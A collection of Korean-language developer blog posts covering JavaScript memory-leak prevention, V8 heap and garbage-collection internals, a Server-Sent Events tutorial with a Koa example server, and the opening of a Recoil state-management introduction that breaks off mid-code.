화살표 함수를 사용하면, 마찬가지로 전역변수를 생성할수도 있다는 사실을 조심해야 한다. 이러한 경우에는 엄격모드로는 해결할 수가 없고, eslint의 `no-invalid-this`로 해결하면 된다.

```javascript
// 전역변수로 할당된다.
const hello = () => {
    this.foo = 'Message";
}
```

마지막으로, `bind`와 `call`을 사용하는 함수에 전역 `this`를 바인딩하지 않도록 주의한다.

#### 글로벌 스코프 사용을 줄인다.

글로벌 스코프의 사용은 가능한 줄이는 것이 좋다.

1. 가능한, 글로벌 스코프는 사용하지 않는 것이 좋다. 대신, 함수의 지역 스코프를 사용하여 카비지 콜렉터가 원할 때 메모리를 수집할 수 있게 해주자. 만약 특별한 제한 때문에 전역 스코프를 사용해야 한다면, 더 이상 사용하지 않게 되는 시점에 `null`을 넣어주면 된다.
2. 전역변수는 오직 상수, 캐시 또는 재사용할 싱글턴 패턴에만 사용해야 한다.함수와 클래스간에 데이터를 공유하기 위해서는, 파라미터와 객체의 속성값으로 전달해주는 것이 좋다.
3. 큰 객체를 전역 변수에 저장하지 말자. 만약 꼭 저장해야 한다면, 더 이상 사용하지 않을 때 null 처리를 해줘야 한다. 캐시 객체의 경우, 이 객체가 점점 커지는 것을 방지해야 한다.

### 스택 메모리를 잘 활용하자.

스택 접근은 힙 접근 보다 성능적으로도 우월하고, 메모리의 효율성도 높기 때문에 가능한 스택 변수를 많이 활용해야 한다. 이는 또한 실수로 일어나는 메모리 누수도 방지해준다. 물론, 실무상으로 오로지 스태틱 데이터만 쓸 수 있는 일은 없다. 실제 에플리케이션은, 다양한 객체와 다이나믹 데이터를 사용해야 한다. 하지만 몇가지 트릭을 사용하여 스택을 조금 더 효율적으로 쓸 수 있다.

1. 스택 변수로부터 힙객체 참조하는 것을 가능한 피해야 한다. 또한, 사용하지 않는 변수를 그냥 둬서는 안된다.
2. 객체나 배열 내부의 값을 넘길 때는 전체 객체를 통째로 넘기는 대신에 이를 분해해서 필요한 것만 넘기는 것이 좋다. 이는 클로져 내부에서 불필요한 객체 참조를 피할 수 있다. 객체내부의 값은 대부분 원시값이므로, 이는 스택을 사용하는데 도움이 될 것이다.

```javascript
function outer() {
    const obj = {
        foo: 1,
        bar: "hello",
    };

    const closure = () {
      // 구조분해 할당을 써서 필요한 foo만 꺼내왔다.
        const { foo } = obj;
        myFunc(foo);
    }
}

function myFunc(foo) {}
```

### 힙 메모리를 효율적으로 활용하자

실제 애플리케이션에서 힙메모리의 사용을 피할수는 없지만, 아래 팁들을 이용하면 좀더 효율적으로 사용할 수 있다.

1. 참조를 넘기는 대신에 가능하면 객체를 복사하는게 좋다. 참조를 넘기는 것은 객체가 크거나, 복사하는 작업이 비쌀때만 활용한다.
2. 객체의 변이를 가능한 피해야 한다. 그 대신 전개 연산자를 사용하거나 `Object.assign`으로 복사하는 것이 좋다.
3. 하나의 객체에 여러가지 참조를 만드는 것을 피해야 한다. 대신에 객체를 복사하는 것이 좋다.
4. 수명이 짧은 변수를 활용하자.
5. 큰 객체 트리를 만드는 것을 피해야 한다. 만약 이러한 것이 불가능하다면, 지역변수 내에서 보관하는 것이 좋다.

### 클로저, 타이버, 이벤트 핸들러를 적절히 활용하자.

앞서 언급했던 것처럼 클로져, 타이버, 그리고 이벤트 핸들러는 메모리 누수가 일어날 수 있는 영역이다. 아래 코드를 살펴보자.`longStr`은 절대 가비지 콜렉팅이 되지 않고, 또한 점점 커지기 때문에 메모리 누수의 원인이 된다.

참고: https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156?gi=275d4bdd446b

```javascript
var theThing = null
var replaceThing = function () {
  var originalThing = theThing
  var unused = function () {
    if (originalThing) console.log('hi')
  }
  theThing = {
    longStr: new Array(1000000).join('*'),
    someMethod: function () {
      console.log(someMessage)
    },
  }
}
setInterval(replaceThing, 1000)
```

위 코드는 여러 클로져를 만들고, 이 클로져들은 각각 객체 참조를 가지고 있게 된다. 이 경우 메모리 누수를 해결하기 위해서는 `replaceThing`함수 끝에서 `originalThing`을 `null`로 선언해주어야 한다. 이러한 경우도 객체의 복사본을 만들거나, 앞서 언급한 `null`을 하는 전략으로 메모리 누수를 피할 수 있다.

이벤트 리스너와 observer도 마찬가지다. 작업이 끝나면 이들을 클리어해주어야 한다. 이들이 영원히 참조하고 있게 해서는 안된다. 특히 부모 스코프의 객체를 참조하고 있다면 더욱 위험하다.

## 결론

자바스크립트 엔진의 진화와 언어의 성장으로 인하여, 자바스크립트의 메모리 누수는 우리가 생각하는 것 만큼 잦은 이슈는 아니다. 그러나 주의를 기울이지않으면, 성능 문제를 야기하거나 애플리케이션과 OS의 크래쉬를 야기할 수 있다. 메모리 누수가 일어나지 않기 위해 첫번째로 우리가 할일은 V8이 어떻게 메모리를 관리하는 지다. 그 다음에는 무엇이 메모리 누수를 일으키는지 알아야 한다. 이에 대해 이해하고 있고, 그리고 만약 메모리 누수 문제가 발생한다면, 우리는 무엇을 살펴보아야 하는지 알 수 있게 된다. 만약 Nodejs에서 메모리 누수 문제가 발생한다면, 아래 두 개의 링크를 확인해보자.

- https://github.com/lloyd/node-memwatch
- https://nodejs.org/en/docs/guides/debugging-getting-started/

출처

- https://blog.appsignal.com/2020/05/06/avoiding-memory-leaks-in-nodejs-best-practices-for-performance.html

참고

- https://www.ibm.com/developerworks/web/library/wa-memleak/wa-memleak-pdf.pdf
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management
- https://docs.microsoft.com/en-us/previous-versions/msdn10/ff728624(v=msdn.10)
- https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/
- https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156

---

Source: https://yceffort.kr/2020/11/v8-memory-management.md
Title: V8에서의 메모리 관리
Description: V8의 깊고 더 어두운 곳으로...
Date: 2020-11-18
Tags: javascript, browser

## V8 메모리 구조

![V8 memory](https://i.imgur.com/kSgatSL.png)

### Heap Memory

이 영역이 V8이 객체나 다이나믹 데이터를 담아두는 영역이다. 여기는 메모리 영역 중에서 가장 큰 부분을 차지하며, 가비지 컬렉션이 발생하는 곳이다. 전체 힙메모리가 가비지 컬렉팅이 되는 것은 아니며, 오직 New Space와 Old Space만 가비지 컬렉팅의 대상이 된다.

- New Space: New Space 또는 `Young generation`이라 불리는 곳이며, 새로운 객체 또는 단기간 유효한 객체들이 존재하는 곳이다. 이 영역은 상대적으로 작고, 두개의 별도 공간인 `Semi Space`가 존재한다. 이는 JVM의 `S0` `S1`과 비슷하다고 볼 수 있다. 이 공간은 `Scavenger`이른바 `Minor GC`에 의해서 관리된다. 이 사이즈의 영역은 `--mini_semi_space_size`와 `--max-_semi_space_size`로 조절할 수 있다.
- Old Space: Old Space 또는 `Old generation`이라고 불리는 곳이며, `new space`에서 minor GC 사이클로부터 살아남은 객체들이 이동하는 곳이다. 이 영역은 `Major GC(Mark-Sweep & Mark-Compact)`에 의해서 관리된다. 이 공간의 사이즈는 `--initial_old_space_size`와 `--max_old_space_size`로 설정할 수 있다. 이 영역은 두개로 나눠진다.
  - Old Pointer Space: 다른 객체를 가르키는 객체가 보관 되는 곳
  - Old Data Space: 단순히 데이터만 가지고 있는 객체 (특정 객체를 가르키지 않음). Strings, boxed numbers, unboxed doubles의 배열이 `New Space`의 두번의 minor GC Cycle로 부터 살아남는다면 이쪽으로 이동하게 된다.
- Large object Space: 다른 Space에 있기에 너무 큰 객체들이 여기에 존재하게 된다. 각 객체들은 [mmap](https://en.wikipedia.org/wiki/Mmap)을 갖게 된다. 큰 객체들은 절대 가비지 콜렉터에 의해 이동하지 않는다.
- Code space: `Just In Time(JIT)` 컴파일러가 컴파일된 코드 블록을 보관하는 곳이다. 실행가능한 메모리가 존재할 수 있는 유일한 곳이다. (코드의 양이 커져서 `Large Object Space`로 가더라도, 여전히 실행 가능하다.)
- Cell space, property cell space, map space: 이는 각각 `Cells` `PropertyCells` `Maps`를 가지고 있는다. 각각의 공간에는 모두 동일한 크기의 객체가 포함되어 있으며, 어떤 종류의 객체를 가리킬 수 있는지에 대한 제한이 있기 때문에 수집을 단순화 한다.

각각의 공간은 pages의 세트로 구성되어 있다. 여기서 페이지란, 운영체제 mmap에서 할당된 연속적인 메모리 청크를 의미한다. `Large Object Space`를 제외하고는, 각각 1MB이다.

### Stack

스택 메모리 영역으로, V8 프로세스 하나당 한개의 스택을 가지고 있다. 메서드/함수 프레임, 원시 값, 객체를 가르키는 포인터등 정적인 데이터를 보유하고 있는 곳이다. 이 스택 메모리의 크기는 `-stack_size`로 결정할 수 있다.

## V8의 메모리 사용 (Stack vs Heap)

메모리가 어떤 구조로 되어 있는지 알아봤으니, 이제는 중요한 부분 인 프로그램이 실행될 때 각 부분이 어떻게 사용되는지를 알아보자. 아래 예제 코드를 살펴보자.

```javascript
class Employee {
  constructor(name, salary, sales) {
    this.name = name
    this.salary = salary
    this.sales = sales
  }
}

const BONUS_PERCENTAGE = 10

function getBonusPercentage(salary) {
  const percentage = (salary * BONUS_PERCENTAGE) / 100
  return percentage
}

function findEmployeeBonus(salary, noOfSales) {
  const bonusPercentage = getBonusPercentage(salary)
  const bonus = bonusPercentage * noOfSales
  return bonus
}

let john = new Employee('John', 5000, 5)
john.bonus = findEmployeeBonus(john.salary, john.sales)
console.log(john.bonus)
```

<script async class="speakerdeck-embed" data-id="e89e2e48a797417eb8692897dcada584" data-ratio="1.77777777777778" src="//speakerdeck.com/assets/embed.js"></script>

- `Global Scope`는 스택의 `Global Frame`내에 존재한다.
- 모든 함수 호출은 스택 메모리에 `frame-block` 형태로 추가된다.
- 모든 지역변수, arguments, 그리고 리턴 값은 위에서 언급한 함수 `frame-block` 내에 저장된다.
- 모든 원시값은 스택에 바로 저장된다. 이는 전역변수에 있어도 마찬가지다.
- 모든 객체는 힙에 생성되며, 스택에서 스택 포인터를 활용하여 참조된다. 함수는 자바스크립트에서 단순히 객체다. 이는 전역변수에서도 마찬가지다.
- 현재 함수에서 실행된 새로운 함수는 스택의 맨 위에 쌓인다.
- 함수가 프레임을 리턴하면 이는 스택에서 제거 된다.
- 메인 프로세스가 완료되면, 힙에 있는 객체는 스택에서 더 이상 가리키는 포인터가 없으므로 고립되어 버린다.
- 따로 복제를 명시적으로 만들어두지 않는 이상, 다른 객체안에 있는 모든 객체 참조는 참조 포인터를 사용해서 완료된다.

보시다시피, 스택은 자동으로 관리되며, 이는 V8이 아닌 운영체재가 수행한다. 따라서 우리는 스택에 대해서 많은 신경을 쓸필요가 없다. 반면 힙은 OS에 의해 자동으로 관리되지 않으며, 메모리 공간도 가장 크고, 동적데이터를 보유하고 있기 때문에 시간이 지남에 따라 프로그램의 메모리가 바닥날 수도 있다. 또한 시간이 지남에 따라 파편화가 되면서 애플리케이션의 속도도 느려질 수 있다. 여기가 바로 가비지 컬렉터가 들어오는 곳이다.

힙의 포인터와 데이터를 구별하는 것은 가비지 컬렉션에서 중요한 부분이며, 이를 위해 V8은 `태그된 포인터`라는 접근 방식을 사용한다. 이 방식은 각 단어의 끝에 비트를 표시해두어 포인터인지 데이터인지를 구별한다. 이 접근 방식은 컴파일러지원이 필요하지만서도, 간단하면서도 효율적인 방식이다.

## 가비지 컬렉팅

프로그램이 자유롭게 사용할 수 있는 것보다 더 많은 메모리를 힙에 할당하려고 한다면, V8은 메모리 부족 오류를 발생시킨다. 또는 잘못 관리된 힙도 메모리 누수를 이르킬 수 있다.

V8은 가비지 컬렉팅을 활용하여 힙 메모리를 관리한다. 간단히 얘기하자면, 고립된 객체, 즉 더 이상 스택에서 직/간접적으로 참조되지 않은 객체들은 메모리에서 해제하며 다른 객체 생성을 위한 메모리 공간을 확보하게 해준다.

V8의 가비지 컬렉터는 V8 프로세스에서 재사용하기 위하여, 사용 중이지 않은 메모리를 화수하는 역할을 한다. V8 가비지 컬렉터는 힙에 있는 객체를 수명별로 분리하여 각각 다른 단계에서 처리한다. 여기에는 두가지 다른 단계가 있고, 3가지 다른 알고리즘을 사용하여 V8에서 가비지 컬렉팅을 한다.

### Minor GC (Scavenger)

이 GC는 young/new space를 간결하고 깨끗하게 유지하는 역할을 한다. 상대적으로 작은 객체(1~8bm)는 `New Space`에 위치하게 된다. `New Space`에 있는 비용은 매우 저렴하다. 여기에는 새로운 객체를 위한 공간을 할당하고 싶을 때마다 등가시키는 할당 포인터가 있다. 할당 포인터가 `New Space`의 끝에 도달하면, 마이너 GC가 트리거 된다. 이 과정은 Scavenger 라고도 불리우며, [체니의 알고리즘](https://en.wikipedia.org/wiki/Cheney's_algorithm)으로 구현되어 있다. 이 과정은 굉장히 빈번하게 발생되며, 병렬로 스레드를 활용해 이루어지기 때문에 굉장히 빠르다.

마이너 GC의 처리과정을 살짝 보자.

앞서 말했듯, `New Space`는 두개의 같은 사이즈인 `semi-space`로 이루어져 있다. 하나는 `to-space`고 다른 하나는 `from-space`다. 대부분의 할당은 `from-space`에서 이루어진다. (`old space`에 할당되는 실행가능한 코드들은 여기에 저장되지 않는다) `from-space`가 가득차게 되면 마이너 GC 가 가동된다.

<script async class="speakerdeck-embed" data-id="5fff2548e55c4bb0a9c837c7eb598bee" data-ratio="1.77777777777778" src="//speakerdeck.com/assets/embed.js"></script>

1. 코드 시작단계에서 `from-space`에 이미 객체가 있다고 가정해보자. (01~06)
2. 프로세스가 새로운 객체인 07을 만들어 낸다.
3. V8은 `from-space`로 부터 메모리를 요청하지만, 더 이상 객체를 할당할 메모리가 존재하지 않는다. 따라서 V8은 마이너 GC를 트리거 한다.
4. 마이너 GC는 스택 포인터 (GC 루트)에서 시작하여 `from-space`에서 객체 그래프를 재귀적으로 탐색하여, 사용되거나 살아있는 객체를 찾는다. 이러한 객체는 `to-space`로 이동한다. 이러한 객체가 참조하는 모든 객체도 마찬가지로 이동하게 되며, 이들의 포인터 또한 업데이트 된다. 이는 `from-space`내의 모든 객체를 모두 스캔할 때 까지 실행된다. 이 작업이 완료되면 `to-space`는 자동으로 파편화를 줄이기 위하여 압축된다.
5. 마이너 GC는 `from-space`에 남아 있는 객체들은 모두 가비지로 판단하여 비우게 된다.
6. 마이너 GC는 `to-space`와 `from-space`를 스왑한다. 따라서 모든 객체들은 `from-space`에 존재하며, `to-space`는 비어 있게 된다.
7. 새로운 객체는 `from-space`의 메모리에 할당된다.
8. 이제 `from-space`에 시간이 흘러서 객체가 더 들어 왔다고 가정해보자.
9. 애플리케이션이 새로운 객체를 만든다.
10. V8은 `from-space`로 부터 메모리를 요청하지만, 더 이상 객체를 할당할 메모리가 존재하지 않는다. 따라서 V8은 마이너 GC를 트리거한다.
11. 위 작업이 반복되며, 두번째 마이너 GC로부터 살아남은 객체들은 `old-space`로 이동하게 된다. 첫번째 생존자들은 `to-space`로 이동하게 되고, `from-space`에는 가비지만 남아있고, 이를 비우게 된다.
12. 마이너 GC는 `to-space`와 `from-space`를 스왑하며, 모든 객체들은 `from-space`로 이동하고 `to-space` 는 비어지게 된다.
13. 새로운 객체가 `from-space`에 할당된다.

마이너 GC가 어떻게 `young generation`에 공간을 요청하고 이를 간결하게 유지하는지 살펴보았다. 이러한 일련의 과정은 프로세스를 중단시키지만, 너무 빠르고 효율적이기 때문에 대부분의 경우 무시할 수 있는 수준이다. 이 프로세스는 `nes space`의 참조를 위해 `old space`의 객체를 스캔하지 않기 때문에, 이전 space에서 새로운 메모리에 이르는 모든 포인터의 레지스터를 사용한다. 이는 [write barrier](https://www.memorymanagement.org/glossary/w.html#term-write-barrier)라고 불리는 과정에 의해 버퍼에 기록된다.

### Major GC

이 GC는 `old generation` 공간을 간결하고 깨끗하게 유지해준다. V8이 `old space`에 더 이상 충분한 공간이 없다고 판단했을 때 시작된다.

스캐빈저 알고리즘은 작은 데이터 사이즈에는 매우 완벽하지만, `old space`와 같이 힙사이즈가 큰 경우에는 메모리 과부하를 일으킬 수 있어서 메이저 GC에는 `Mark-Sweep-Compact` 알고리즘을 사용한다. 이 알고리즘은 3색 표시 시스템(흰색, 회색, 검은색) 을 사용한다. 따라서 메이저 GC는 3단계 과정을 거치게 된다.

![Mark-Sweep-Compact](https://i.imgur.com/rcjSZ0T.gif)

- Marking: 첫번째 단계로, 두 알고리즘에 공통으로 사용된다. 가비지 컬렉터가 사용중인 객체와 사용하지 않는 객체를 식별하는 단계다. 사용 중이거나 GC 루트 (스택 포인터)에서 도달할 수 있는 객체는 활성 상태로 표시된다.
- Sweeping: 가비지 컬렉터는 힙을 탐색하고, 활성으로 표시되지 않은 객체의 메모리 주소를 기록한다. 이제 이 공간은 사용 가능한 공간으로 표시되며, 다른 객체를 저장하는데 사용할 수 있다.
- Compact: 청 소 필요한 경우 모든 살아남은 객체가 이동하게 된다. 이렇게 하게 되면 파편화가 줄어들고, 새로운 객체에 대한 메모리 할당 성능이 증가하게 된다.

이러한 유형의 GC는 GC를 수행하는 동안 프로세스의 일시중지를 야기 하기 때문에 `stop-the-world` GC라고도 한다. 이를 피하기 위해 V8은 아래와 같은 방법을 사용한다.

![Major GC](https://v8.dev/_img/trash-talk/09.svg)

- 증분 GC: GC는 하나가 아닌 여러 증분 단계로 수행된다.
- 동시 marking: 마킹은 메인 자바스크립트 스레드에 영향을 주지 않기 위해 여러 헬퍼 스레드를 사용하여 동시에 수행된다. `Writes Barrier`는 헬퍼가 마킹을 하는 동안 자바스크립트하 생성하는 객체 간에 새로운 참조를 추적하기 위하여 사용된다.
- 동시 Sweeping, compacting: 메인 자바스크립트 스레드에 영향을 주지 않기 위해 Sweeping과 Compacting은 헬퍼 스레드에서 동시에 이루어진다.
- 게으른 Sweeping: 게으른 Sweeping 은 메모리가 필요로 할 때까지 페이지에서 가비지 삭제를 지연 시키는 것을 포함한다.

Major GC의 프로세스를 살펴보자.

1. 많은 마이너 GC 사이클이 지나고 `old space`는 거의 가득차서 V8이 메이서 GC를 트리거 했다고 가정해보자.
2. 메이저 GC는 스택포인터에서 시작하여 객체 그래프를 재귀적으로 순회하며, `old space`에 있는 사용중인 객체와 가비지를 별개로 표시해둔다. 이 작업은 여러개의 동시 헬퍼 스레드를 사용하여 수행되며, 각 헬퍼는 포인터를 따른다. 이는 주 메인 스레드에 영향을 미치지 않는다.
3. 동시 marking이 끝나거나, 메모리가 제한에 도달하면 GC는 메인스레드를 사용하여 Marking 단계를 마무리한다. 이는 작은 일시정지 시간을 만든다.
4. 이제 메이저 GC는 동시 스윕 스레드를 사용하여, 모든 가비지 객체의 메모리를 사용가능한 것으로 표시해둔다. 또한 병렬 압축 작업이 트리거 되어, 파편화를 방지하기 위하여 관련 메모리 블록을 모두 동일한 페이지로 이동시킨다. 이 단계에서 포인터가 업데이트 된다.

출처: https://deepu.tech/memory-management-in-v8/

---

Source: https://yceffort.kr/2020/11/server-side-events.md
Title: 서버 사이드 이벤트 (Server Side Events, SSE)
Description: 이거 꼭 한번 해보고 싶었는데 😭
Date: 2020-11-17
Tags: javascript, backend

## Server Side Events

일반적이고 전통적인 웹페이지의 경우, 새로운 데이터를 받기 위해서는 서버에 데이터 요청을 해야만 한다. 이른바 폴링이라는 기술로, 웹페이지가 서버에 요청을 해야만, 서버가 그 요청에 따른 데이터를 적절하게 리턴해주는 방식이라고 볼 수 있다. 하지만 Server Side Events, 이하 (SSE)를 활용하면, 웹페이지가 별도로 요청하지 않아도 서버가 데이터를 보내는 것이 가능하다. 즉, 서버에서 클라이언트로 업데이트 되는 내용을 스트리밍을 하는 것이 가능해진다. SSE를 활용하면, 서버와 클라이언트 사이에 단방향 채널을 여는 것과 같은 이점을 얻르 수 있다.

## vs Web Socket?

그렇다면 우리가 일반적으로 알고 있는 web socket 과의 차이는 무엇일까? 웹 소켓은 양반향 통신을 위한 프로토콜은 제공하지만 (채팅과 같은), 일부 시나리오에서는 그러한 양방향 통신이 필요하지 않을 때가 있다. 클라이언트에서 굳이 데이터를 전송하지 않고, 서버의 데이터만 클라이언트에 보내서 업데이트를 해야하는 경우가 있다. (긴 시간이 걸리는 요청에 대해서 요청을 일부분씩 나눠서 보내는 등) 이러한 경우에는 Web Socket보다는 SSE가 훨씬 더 좋은 대안이 될 수 있다. 또한 웹 소켓과는 다르게, 전통적인 HTTP로도 전송이 가능하다. 즉, 특별한 프로토콜이나 서버구현이 필요하지 않다.

## How to use

### Support

대다수의 모던 브라우저가 지원하는 반면, 아쉽게도 역시나 우리의 IE는 SSE를 지원하지 않는다.

https://caniuse.com/eventsource

폴리필을 사용하면 될 것 같다. (써보진 않았지만) https://github.com/Yaffle/EventSource

### Javascript API

이벤트 스트림을 구독하기 위해서는, EventSource를 만들고 URL을 넘겨야 한다.

```javascript
if (!!window.EventSource) {
  var source = new EventSource('stream.php')
} else {
  // SSE를 사용할 수 없는 환경
}
```

만약 URL이 절대 주소로 되어 있다면, 호출 페이지와 scheme, domain, port 등이 일치해야 한다.

이제 소스에 이벤트 핸들러를 달아서 실제로 구독을 해보자.

```javascript
source.addEventListener(
  'message',
  function (e) {
    console.log(e.data)
  },
  false,
)

source.addEventListener(
  'open',
  function (e) {
    // 연결성공
  },
  false,
)

source.addEventListener(
  'error',
  function (e) {
    if (source.readyState == EventSource.CLOSED) {
      // 연결이 닫히는 경우
    }
  },
  false,
)
```

서버에서 데이터를 푸쉬하면, `message`가 실행되고, `e.data`에서 데이터를 가져올 수 있다.

소스의 이벤트 스트림은 SSE 형식인 `Content-type` `text/event-stream`을 사용하여 텍스트 응답을 작성해야 한다. 기본적인 응답형식은 아래와 같다.

```bash
data: response \n\n
```

`data:`행 다음에 메시지가 오고, 스트림 맨 마지막에는 `\n` 문자가 두개 있다면 스트림이 끝난 것으로 간주한다.

메시지가 길어서 여러줄을 보내야 한다면, `data:`행을 사용하여 메시지를 분할하면 된다.

```bash
data: first response\n
data: second response\n\n
```

`\n`으로 하나만 줄바꿈이 되어 있다면, `message`이벤트는 하나만 발생한다.

JSON 데이터를 보내야 한다면 어떻게 할까?

```bash
data: {\n
data: "msg": "hello world",\n
data: "id": 12345\n
data: }\n\n
```

```javascript
source.addEventListener(
  'message',
  function (e) {
    var data = JSON.parse(e.data)
    console.log(data.id, data.msg)
  },
  false,
)
```

물론 json 데이터를 압축해서 한줄로 보내도 가능할 것이다.

이벤트에 ID를 달아서 고유한 ID도 함께 보낼 수 있다.

```bash
id: 123\n
data: hello\n
data: world\n
```

ID를 설정하게 되면, 브라우저는 마지막에 발생한 이벤트를 추적할 수 있게 된다. 이는 만약 연결이 끊겼을 때, `Last-Event-ID`라고 불리는 특별한 HTTP 헤더가 새 요청으로 설정된다. 이는 브라우저가 어떤 이벤트를 발생하기에 적합한지 판단할 수 있게 해준다. 이 메시지 이벤트네는 `e.lastEventId` 속성이 포함되어 있다.

브라우저는 각 연결이 종료 된 후에 3초후에 다시 연결을 시도하려고 한다. 여기에 `retry:`를 시간과 함께 설정하여, 이 시간제한을 변경할 수 있다.

```bash
retry: 10000\n
data: hello world\n\n
```

이렇게 하게 되면 10초 후에 다시 연결을 시도하게 된다.

하나의 이벤트 소스에 이벤트 이름을 넣어두면, 여러가지 이벤트를 생성할 수 있다. `event:`로 시작하는 행에 이벤트 명을 명시하는 경우, 그 이벤트를 해당 이름에 바인딩 시킬 수 있다. 클라이언트에서는 이벤트 리스너를 설정하여 해당 이벤트를 구독할 수 있다.

```bash
data: {"msg": "First message"}\n\n
event: userlogon\n
data: {"username": "John123"}\n\n
event: update\n
data: {"username": "John123", "emotion": "happy"}\n\n
```

```javascript
source.addEventListener(
  'message',
  function (e) {
    var data = JSON.parse(e.data)
    console.log(data.msg)
  },
  false,
)

source.addEventListener(
  'userlogon',
  function (e) {
    var data = JSON.parse(e.data)
    console.log('User login:' + data.username)
  },
  false,
)

source.addEventListener(
  'update',
  function (e) {
    var data = JSON.parse(e.data)
    console.log(data.username + ' is now ' + data.emotion)
  },
  false,
)
```

## 예제

```javascript
const koa = require('koa')
const Router = require('koa-router')

const router = new Router()

router.get('/event', async (ctx) => {
  ctx.res.writeHead(200, {
    'Content-Type': 'text/event-stream',
    'Cache-Control': 'no-store',
    'Access-Control-Allow-Origin': '*',
  })

  const lastEventId =
    Number(ctx.request.headers['last-event-id']) || Number(ctx.query.id) || 100
  let timeoutId = 0
  let i = lastEventId
  let c = i + 100

  let f = function () {
    if (++i < c) {
      ctx.res.write(`id: ${i} \n`)
      ctx.res.write(`data: ${i} \n\n`)
      timeoutId = setTimeout(f, 1000)
    } else {
      ctx.res.end()
    }
  }

  f()

  ctx.res.on('close', function () {
    clearTimeout(timeoutId)
  })
})

router.get('/', async (ctx) => {
  ctx.res.write(`<!DOCTYPE html>
  <html>
  <head>
      <meta charset="utf-8" />
      <title>EventSource example</title>
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <script>
        var es = new EventSource("/event?id=50");        
        
        es.addEventListener('message', function(e) {
          var div = document.createElement("div");     
          div.appendChild(document.createTextNode('>>' + e.data));
          document.body.appendChild(div);
        }, false);
        
        es.addEventListener('open', function(e) {          
          var div = document.createElement("div");     
          div.appendChild(document.createTextNode("SSE connected!"));
          document.body.appendChild(div);
        }, false);
        
        es.addEventListener('error', function(e) {
          console.log('failed')
        }, false);
      </script>
  </head>
  <body>
  </body>
  </html>`)
})

async function main() {
  const app = new koa()

  app.use(router.routes()).use(router.allowedMethods())

  app.listen(3001)
}

try {
  main()
} catch (err) {
  console.error(err)
}
```

결과

```bash
SSE connected!
>>51
SSE connected!
>>52
SSE connected!
>>53
SSE connected!
>>54
SSE connected!
>>55
SSE connected!
>>56
SSE connected!
>>57
SSE connected!
>>58
SSE connected!
>>59
SSE connected!
>>60
SSE connected!
>>61
SSE connected!
>>62
SSE connected!
>>63
SSE connected!
>>64
SSE connected!
>>65
SSE connected!
>>66
SSE connected!
>>67
SSE connected!
>>68
SSE connected!
...
```

---

Source: https://yceffort.kr/2020/11/react-recoil.md
Title: React를 위한 상태관리 라이브러리, Recoil
Description: 상태관리 춘추전국시대
Date: 2020-11-16
Tags: react, state-management

`Redux`, `MobX`등은 이제 리액트 프로젝트를 만든다면 필수로 같이 쓰게 되는 상태 관리 라이브러리 들 중 하나가 된 것 같다. 상태 관리 라이브러리의 필요성은 알지만 서도, 무분별하게 상태 관리 라이브러리를 설치해서 무조건 쓰는 것에 대해 나 또한 그다지 긍정적이지는 않다.

- https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367
- https://dev.to/g_abud/why-i-quit-redux-1knl
- https://hackernoon.com/goodbye-redux-26e6a27b3a0b

개인적으로는 리액트에서 제공하는 `useState` `useContext` 등으로 충분하다고 생각하지만서도, 이미 대세가 되어버린 상태관리 라이브러리의 시대에 나 또한 흐름을 따라 갈 수 밖에 없다.

이 와중에 React에서 만든 `Recoil`이라고 하는 상태 관리 라이브러리가 나왔다. 과연 이 라이브러리가 다른 상태관리 라이브러리랑은 무엇이 다른지, 또 정말 쓸 만한지 고민해보자.

앞서서 리액트의 `Context`만으로 충분할 것 같다고 말한 것과는 다르게, 리액트에서는 `Context`의 한계에 대해서 명백히 인식하고 있는 것 같다.

> My personal summary is that new context is ready to be used for low frequency unlikely updates (like locale/theme). It's also good to use it in the same way as old context was used. I.e. for static values and then propagate updates through subscriptions. It's not ready to be used as a replacement for all Flux-like state propagation.

https://github.com/facebook/react/issues/14110#issuecomment-448074060

그리고 실제로 React의 Context API를 쓰던 Redux가 성능상의 문제로 인해 이를 철회한 사건도 있었다.

> In v6, we switched from individual components subscribing to the store, to having `<Provider>` subscribe and components read the store state from React's Context API. This worked, but unfortunately the Context API isn't as optimized for frequent updates as we'd hoped, and our usage patterns led to some folks reporting performance issues in some scenarios.

https://github.com/reduxjs/react-redux/releases/tag/v7.0.1

또한 Provider의 값이 배열이나 객체 인 경우, 여기에서 구조가 조금이라도 바뀌게 된다면 `Context`를 구독하고 있는 하위 모든 컴포넌트가 다시 렌더링되는 참사가 발생된다.

React Context API는 분명 나쁜 API는 아니지만, 그 한계가 어느정도 있다는 것을 알 수 있다. 그렇기 때문에 Facebook 팀에서도 그 한계를 인지하고 Recoil 을 만든게 아닐 까 싶다.

> For reasons of compatibility and simplicity, it's best to use React's built-in state management capabilities rather than external global state. But React has certain limitations:

> - Component state can only be shared by pushing it up to the common ancestor, but this might include a huge tree that then needs to re-render.
> - Context can only store a single value, not an indefinite set of values each with its own consumers.
> - Both of these make it difficult to code-split the top of the tree (where the state has to live) from the leaves of the tree (where the state is used).

## Recoil

### RecoilRoot

`recoil` 의 state를 사용하기 위해서는 부모 트리에 `RecoilRoot`를 선언해야 한다. 가장 좋은 위치는 바로 Root다.

```javascript
import React from 'react'
import {RecoilRoot, atom} from 'recoil'

function App() {
  return (
    <RecoilRoot>
      <Component />
    </RecoilRoot>
  )
}
```

### Atom

`atom`은 state의 조각을 의미한다. `atom`은 어떤 컴포넌트에서든 읽기/쓰기가 가능하다. 컴포넌트는 이 `atom`의 값을 구독하여 읽을 수 있으며, `atom`의 업데이트는 곳 이를 구독하고 있는 모든 컴포넌트의 업데이트를 야기한다.

```javascript
const textState = atom({
  key: 'textState', // unique ID
  default: '', // 기본값
})
```

### useRecoilState

이름에서 느껴지듯이, `useState`와 비슷하게 값과 이를 조작할 수 있는 `setter` 함수를 리턴한다.

```javascript
const [text, setText] = useRecoilState(textState)
```

### useRecoilValue

`useRecoilState`와는 다르게, 오로지 `atom`의 값만 가져올 수 있다.

```javascript
const text = useRecoilValue(textState)
```

### useSetRecoilState

`atom`의 `setter` 만 가져올 수 있다.

```javascript
const setText = useSetRecoilState(textState)
```

### selector

`atom`과 함께 중요한 개념 중 하나다. `Selector`는 상태에서 파생된 데이터다. `get`을 활용하여 `atom`으로 부터 파생된 데이터를 가져올 수 있으며, `set`을 활용하여 하나이상의 atom을 업데이트 할 수 있다.

```typescript
function selector<T>({
  key: string,

